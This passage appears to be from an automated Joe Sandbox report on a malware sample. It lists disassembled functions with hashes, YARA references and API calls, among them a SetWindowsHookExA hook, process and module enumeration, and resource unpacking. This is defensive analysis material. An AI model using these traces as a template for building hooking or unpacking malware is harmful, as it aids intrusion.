                                                                                                                                                                      • Opcode ID: 8b7204a6db3e79feb94fc13c8610f5f08532962fa0c21b21eae14ebef0aa19de
                                                                                                                                                                      • Instruction ID: e40efc3bb669864907dfdd1430a8f4895401535e956dddb5f69c8fe66d067e95
                                                                                                                                                                      • Opcode Fuzzy Hash: 8b7204a6db3e79feb94fc13c8610f5f08532962fa0c21b21eae14ebef0aa19de
                                                                                                                                                                      • Instruction Fuzzy Hash: 1C4198B5D052189FCF14DFA9E980ADEFBB1AB59310F20942AE814B7320D735A945CF58
                                                                                                                                                                      Function 2B6FB2A0 Relevance: 1.6, APIs: 1, Instructions: 100libraryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2975158833.000000002B6F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B6F0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2b6f0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InitializeThunk
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2994545307-0
                                                                                                                                                                      • Opcode ID: ee580b7b0a97096b0fa9bec3f8435acb220e1d180c8f043c3160b51d8e8a83f8
                                                                                                                                                                      • Instruction ID: abf6c8fb1463555ecbe1414318020f1d58a8d6076e5b1d346bf83233eaa60708
                                                                                                                                                                      • Opcode Fuzzy Hash: ee580b7b0a97096b0fa9bec3f8435acb220e1d180c8f043c3160b51d8e8a83f8
                                                                                                                                                                      • Instruction Fuzzy Hash: 4D4159B5E01209DBCB04CF99D584ADDFBF6BF88314F28D159E4056B285DB31A986CF90
                                                                                                                                                                      Function 2BFA0630 Relevance: 1.6, APIs: 1, Instructions: 100COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetWindowsHookExA.USER32(?,?,?,?), ref: 2BFA06E1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2976268913.000000002BFA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2BFA0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2bfa0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HookWindows
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2559412058-0
                                                                                                                                                                      • Opcode ID: d64a8952defb6d3b5ab0d69883e4e6b18f94d69aa0b18573234d3079ad496151
                                                                                                                                                                      • Instruction ID: 85f9810017bd6f14104ce95d2f17920a7d08585321217f2d6f81298f41ae6864
                                                                                                                                                                      • Opcode Fuzzy Hash: d64a8952defb6d3b5ab0d69883e4e6b18f94d69aa0b18573234d3079ad496151
                                                                                                                                                                      • Instruction Fuzzy Hash: AC4188B5D002189FCF14DFA9E984A9EFBB1AB49310F10902AE814B7320D774A945CF58
                                                                                                                                                                      Function 27A8F0C8 Relevance: .7, Instructions: 711COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: edafc452af11c4dd187fc3fbc0a3d45748716db1ce86f179f5c136b472c604bf
                                                                                                                                                                      • Instruction ID: bbd669c148a691de16c1be332f91451465e244c684637f62b5dae39145c44724
                                                                                                                                                                      • Opcode Fuzzy Hash: edafc452af11c4dd187fc3fbc0a3d45748716db1ce86f179f5c136b472c604bf
                                                                                                                                                                      • Instruction Fuzzy Hash: 4672BFB4E012698FDB64CF69C990BDDBBB2BB89314F1091E9E418A7351DB349E81CF40
                                                                                                                                                                      Function 27A8D480 Relevance: .1, Instructions: 148COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 118e01de95c090e59b88942c51944960b1553da3a7a787fa3cfb6023f3377dbc
                                                                                                                                                                      • Instruction ID: c9d025ef5ddfc63fc3e21196d2a848642ec8b1effb94f66b38dcd73aed343027
                                                                                                                                                                      • Opcode Fuzzy Hash: 118e01de95c090e59b88942c51944960b1553da3a7a787fa3cfb6023f3377dbc
                                                                                                                                                                      • Instruction Fuzzy Hash: FA51B674E00208DFDB08DFAAD594A9DBBF2FF89310F20902AE815AB365DB359845CF55
                                                                                                                                                                      Function 27A8D490 Relevance: .1, Instructions: 147COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: d0be101e350eefbace48549ceb73f52269815c9ec6f97fe7c0d30e6b5d0eb344
                                                                                                                                                                      • Instruction ID: ff27a0a8fc6939aa890b00368a6a83f99f8b53f1576da028f1dec073494bff6a
                                                                                                                                                                      • Opcode Fuzzy Hash: d0be101e350eefbace48549ceb73f52269815c9ec6f97fe7c0d30e6b5d0eb344
                                                                                                                                                                      • Instruction Fuzzy Hash: 86519674E00208DFDB08DFAAD594A9DBBF2FF89310F209529E815AB364DB359945CF50
                                                                                                                                                                      Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747comprocessCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • OleInitialize.OLE32(00000000), ref: 004019FD
                                                                                                                                                                      • _getenv.LIBCMT ref: 00401ABA
                                                                                                                                                                      • GetCurrentProcessId.KERNEL32 ref: 00401ACD
                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
                                                                                                                                                                      • Module32First.KERNEL32 ref: 00401C48
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
                                                                                                                                                                      • Module32Next.KERNEL32(00000000,?), ref: 00401D02
                                                                                                                                                                      • Module32Next.KERNEL32(00000000,?), ref: 00401DB6
                                                                                                                                                                      • CloseHandle.KERNELBASE(00000000), ref: 00401DC4
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
                                                                                                                                                                      • FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
                                                                                                                                                                      • LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
                                                                                                                                                                      • LockResource.KERNEL32(00000000), ref: 00401EA7
                                                                                                                                                                      • SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
                                                                                                                                                                      • _malloc.LIBCMT ref: 00401EBA
                                                                                                                                                                      • _memset.LIBCMT ref: 00401EDD
                                                                                                                                                                      • SizeofResource.KERNEL32(00000000,?), ref: 00401F02
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000001.1828156271.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000007.00000001.1828156271.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
                                                                                                                                                                      • String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
                                                                                                                                                                      • API String ID: 1430744539-2962942730
                                                                                                                                                                      • Opcode ID: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
                                                                                                                                                                      • Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
                                                                                                                                                                      • Opcode Fuzzy Hash: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
                                                                                                                                                                      • Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B
                                                                                                                                                                      Function 0040CBF7 Relevance: 21.1, APIs: 14, Instructions: 78COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000001.1828156271.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000007.00000001.1828156271.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2598563909-0
                                                                                                                                                                      • Opcode ID: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
                                                                                                                                                                      • Instruction ID: 67c2b95978a5c3de314e94e7eee78366e8702871eb07600154e5c77a41a3d030
                                                                                                                                                                      • Opcode Fuzzy Hash: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
                                                                                                                                                                      • Instruction Fuzzy Hash: 5321E770A05304DAFB207BB3E98676932B46F00309F00453FE508B62D2EB7C89918A5C
                                                                                                                                                                      Function 27A86580 Relevance: 10.5, Strings: 8, Instructions: 455COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 212 27a86580-27a865b5 213 27a865bb-27a865de 212->213 214 27a869e4-27a869e8 212->214 223 27a8668c-27a86690 213->223 224 27a865e4-27a865f1 213->224 215 27a869ea-27a869fe 214->215 216 27a86a01-27a86a0f 214->216 221 27a86a80-27a86a95 216->221 222 27a86a11-27a86a26 216->222 230 27a86a9c-27a86aa9 221->230 231 27a86a97-27a86a9a 221->231 232 27a86a28-27a86a2b 222->232 233 27a86a2d-27a86a3a 222->233 227 27a866d8-27a866e1 223->227 228 27a86692-27a866a0 223->228 237 27a86600 224->237 238 27a865f3-27a865fe 224->238 234 27a86af7 227->234 235 27a866e7-27a866f1 227->235 228->227 244 27a866a2-27a866bd 228->244 239 27a86aab-27a86ae6 230->239 231->239 240 27a86a3c-27a86a7d 232->240 233->240 245 27a86afc-27a86b08 234->245 235->214 241 27a866f7-27a86700 235->241 246 27a86602-27a86604 237->246 238->246 283 27a86aed-27a86af4 239->283 242 27a8670f-27a8671b 241->242 243 27a86702-27a86707 241->243 242->245 251 27a86721-27a86727 242->251 243->242 269 27a866cb 244->269 270 27a866bf-27a866c9 244->270 246->223 253 27a8660a-27a8666c 246->253 254 27a8672d-27a8673d 251->254 255 27a869ce-27a869d2 251->255 296 27a8666e 253->296 297 27a86672-27a86689 253->297 267 27a8673f-27a8674f 254->267 268 27a86751-27a86753 254->268 255->234 260 27a869d8-27a869de 255->260 260->214 260->241 271 27a86756-27a8675c 267->271 268->271 272 27a866cd-27a866cf 269->272 270->272 271->255 278 27a86762-27a86771 271->278 272->227 279 27a866d1 272->279 280 27a8681f-27a8684a call 27a863c8 * 2 278->280 281 27a86777 278->281 279->227 298 27a86850-27a86854 280->298 299 27a86934-27a8694e 280->299 285 27a8677a-27a8678b 281->285 285->245 287 27a86791-27a867a3 285->287 287->245 288 27a867a9-27a867c1 287->288 352 27a867c3 call 27a86b60 288->352 353 27a867c3 call 27a86b53 288->353 292 27a867c9-27a867d9 292->255 295 27a867df-27a867e2 292->295 300 27a867ec-27a867ef 295->300 301 27a867e4-27a867ea 295->301 296->297 297->223 298->255 302 27a8685a-27a8685e 298->302 299->214 319 27a86954-27a86958 299->319 300->234 303 27a867f5-27a867f8 300->303 301->300 301->303 306 27a86860-27a8686d 302->306 307 27a86886-27a8688c 302->307 308 27a867fa-27a867fe 303->308 309 27a86800-27a86803 303->309 322 27a8687c 306->322 323 27a8686f-27a8687a 306->323 311 27a8688e-27a86892 307->311 312 27a868c7-27a868cd 307->312 308->309 310 27a86809-27a8680d 308->310 309->234 309->310 310->234 317 27a86813-27a86819 310->317 311->312 318 27a86894-27a8689d 311->318 314 27a868d9-27a868df 312->314 315 27a868cf-27a868d3 312->315 320 27a868eb-27a868ed 314->320 321 27a868e1-27a868e5 314->321 315->283 315->314 317->280 317->285 324 27a868ac-27a868c2 318->324 325 27a8689f-27a868a4 318->325 326 27a8695a-27a86964 call 27a85258 319->326 327 27a86994-27a86998 319->327 328 27a868ef-27a868f8 320->328 329 27a86922-27a86924 320->329 321->255 321->320 330 27a8687e-27a86880 322->330 323->330 324->255 325->324 326->327 340 27a86966-27a8697b 326->340 327->283 333 27a8699e-27a869a2 327->333 336 27a868fa-27a868ff 328->336 337 27a86907-27a8691d 328->337 329->255 331 27a8692a-27a86931 329->331 330->255 330->307 333->283 338 27a869a8-27a869b5 333->338 336->337 337->255 343 27a869c4 338->343 344 27a869b7-27a869c2 338->344 340->327 349 27a8697d-27a86992 340->349 346 27a869c6-27a869c8 343->346 344->346 346->255 346->283 349->214 349->327 352->292 353->292
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
                                                                                                                                                                      • API String ID: 0-1932283790
                                                                                                                                                                      • Opcode ID: 0b50e37a3bf9aab7fe9b198694d17cfa745d8f883da7d3ff56d4d1b276c38495
                                                                                                                                                                      • Instruction ID: 38166a61c1b7f0cb6bd82aee07d0538d0844bf802e3837411d91915176248277
                                                                                                                                                                      • Opcode Fuzzy Hash: 0b50e37a3bf9aab7fe9b198694d17cfa745d8f883da7d3ff56d4d1b276c38495
                                                                                                                                                                      • Instruction Fuzzy Hash: 00125C30A00648DFDB14CF69D584A9EBBF1BF88325F108569E529DB2A2DB31ED45CB50
                                                                                                                                                                      Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • lstrlenA.KERNEL32(?), ref: 00401906
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00401940
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000001.1828156271.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000007.00000001.1828156271.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ByteCharMultiWide$ErrorLastlstrlen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3322701435-0
                                                                                                                                                                      • Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                                      • Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
                                                                                                                                                                      • Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                                      • Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8
                                                                                                                                                                      Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                                        • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                                                                                                                                                        • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                                        • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                                      • std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3
                                                                                                                                                                        • Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08
                                                                                                                                                                      • std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
                                                                                                                                                                      • __CxxThrowException@8.LIBCMT ref: 0040AFC5
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000001.1828156271.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000007.00000001.1828156271.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1411284514-0
                                                                                                                                                                      • Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
                                                                                                                                                                      • Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
                                                                                                                                                                      • Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
                                                                                                                                                                      • Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E
                                                                                                                                                                      Function 27A87F18 Relevance: 2.8, Strings: 2, Instructions: 325COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: 4'^q$4'^q
                                                                                                                                                                      • API String ID: 0-2697143702
                                                                                                                                                                      • Opcode ID: f8dbf4e4b8b8437db3f3731c411fd12c3886d77fa4262d7b334193acb8ec4f70
                                                                                                                                                                      • Instruction ID: ce27f5e026677649ed9e3fe501e183372acfa1acaff575d9d551ad3a9e07ccce
                                                                                                                                                                      • Opcode Fuzzy Hash: f8dbf4e4b8b8437db3f3731c411fd12c3886d77fa4262d7b334193acb8ec4f70
                                                                                                                                                                      • Instruction Fuzzy Hash: 31B19F30324605CFD7059B69C956B2A3BE6FFC8661F1400AAE531CF3A5EE69DC42C782
                                                                                                                                                                      Function 27A85310 Relevance: 2.7, Strings: 2, Instructions: 233COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: ,bq$,bq
                                                                                                                                                                      • API String ID: 0-2699258169
                                                                                                                                                                      • Opcode ID: f57833a036cc993d80edf6df48d8426ec9a526124a131a69ce3f2a0f96a3f429
                                                                                                                                                                      • Instruction ID: 714463486796194b8c2890896375ae2f275d36a88adb7dc04aa61690c09c8150
                                                                                                                                                                      • Opcode Fuzzy Hash: f57833a036cc993d80edf6df48d8426ec9a526124a131a69ce3f2a0f96a3f429
                                                                                                                                                                      • Instruction Fuzzy Hash: 24919174B00525CFCB08CF69C49499EBBF3FF89226B248169E925EB361D731E841CB51
                                                                                                                                                                      Function 27A82F20 Relevance: 2.6, Strings: 2, Instructions: 112COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: Xbq$Xbq
                                                                                                                                                                      • API String ID: 0-1243427068
                                                                                                                                                                      • Opcode ID: e110bd4d0520f92ef3aedacc1408b302878d6cd3a5b0d728e12b82876a4cbde6
                                                                                                                                                                      • Instruction ID: 71e5f04e52991609796f9a55fe83e88b77b75f95b055b7dc6ecb97e0241b3442
                                                                                                                                                                      • Opcode Fuzzy Hash: e110bd4d0520f92ef3aedacc1408b302878d6cd3a5b0d728e12b82876a4cbde6
                                                                                                                                                                      • Instruction Fuzzy Hash: C0310436704225CBDB0C4A6A899427FA6AABBC4321F144439E936D33D5DF79CD45C391
                                                                                                                                                                      Function 27A80006 Relevance: 1.8, Strings: 1, Instructions: 563COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: LR^q
                                                                                                                                                                      • API String ID: 0-2625958711
                                                                                                                                                                      • Opcode ID: 2afedd8f9ec122b39f672080ca4d545b46676e39a6162a9e0ba9d314f4351507
                                                                                                                                                                      • Instruction ID: 0a8c7fc21d0f2e116a6fca7c504efc30ee8bd2a1bc6c75cf2851e3353a6a57a2
                                                                                                                                                                      • Opcode Fuzzy Hash: 2afedd8f9ec122b39f672080ca4d545b46676e39a6162a9e0ba9d314f4351507
                                                                                                                                                                      • Instruction Fuzzy Hash: 8762C878900259CFCB55DF64C9A5B9DBBB1FB89300F1082A9D809A7354DF786E86CF80
                                                                                                                                                                      Function 27A80040 Relevance: 1.8, Strings: 1, Instructions: 541COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: LR^q
                                                                                                                                                                      • API String ID: 0-2625958711
                                                                                                                                                                      • Opcode ID: 21bcd86d591afe4798d36e77e7b167ee10ad2565f400a04e09b5b9d0b27de6bc
                                                                                                                                                                      • Instruction ID: bda22ac0ec5fa7a2b923627d44d04ba74df22cb1bb3398c6708e08098ce93035
                                                                                                                                                                      • Opcode Fuzzy Hash: 21bcd86d591afe4798d36e77e7b167ee10ad2565f400a04e09b5b9d0b27de6bc
                                                                                                                                                                      • Instruction Fuzzy Hash: 4252B878900259CFCB54DF64C995B9DBBB2FB88301F1086A9D809A7354DF786E86CF80
                                                                                                                                                                      Function 2B6FB43C Relevance: 1.6, APIs: 1, Instructions: 110COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2975158833.000000002B6F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B6F0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2b6f0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: b831834e48d43dede8e066f68ba5657f2fa2f953e2fcb62ed063b97c96ced0a2
                                                                                                                                                                      • Instruction ID: 381625541b192bec8e7e3abe69858d1cebd1ffde0702ca3c90eb617e0225d16f
                                                                                                                                                                      • Opcode Fuzzy Hash: b831834e48d43dede8e066f68ba5657f2fa2f953e2fcb62ed063b97c96ced0a2
                                                                                                                                                                      • Instruction Fuzzy Hash: 48414AB5E4410ACFCB04CF98D5C0ADDBBB2FF58310F689159E40AAB286C735A986CF51
                                                                                                                                                                      Function 2B6FB290 Relevance: 1.6, APIs: 1, Instructions: 105libraryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2975158833.000000002B6F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B6F0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2b6f0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InitializeThunk
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2994545307-0
                                                                                                                                                                      • Opcode ID: 35b74b5e4c578d87f277c4eaa92fb937120b16fb02d422892a240289423b13b5
                                                                                                                                                                      • Instruction ID: 5bb34e09c9efb04c06b8455da8a249b9f9c3a4c8f12ac970435a6a3875f6d0d4
                                                                                                                                                                      • Opcode Fuzzy Hash: 35b74b5e4c578d87f277c4eaa92fb937120b16fb02d422892a240289423b13b5
                                                                                                                                                                      • Instruction Fuzzy Hash: 1741EFB1E092498FCB15CFA9C484BDDBFF2BF86310F2882A9D4056B296C7345986CF51
                                                                                                                                                                      Function 2B6FB3DC Relevance: 1.6, APIs: 1, Instructions: 102COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2975158833.000000002B6F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B6F0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2b6f0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 8b834bb30942793846e815a184597627690bc9c453977233a57bc986c2f02146
                                                                                                                                                                      • Instruction ID: e96a5ab3d991a581a2d4e4a5e4b817007583cf6f3b714e32b24c435138fde6c3
                                                                                                                                                                      • Opcode Fuzzy Hash: 8b834bb30942793846e815a184597627690bc9c453977233a57bc986c2f02146
                                                                                                                                                                      • Instruction Fuzzy Hash: AE4149B5E4410ACFCB04CF98D1C0AEDBBB2FF48354F289158E406AB286C735A986CF50
                                                                                                                                                                      Function 2740EE60 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON
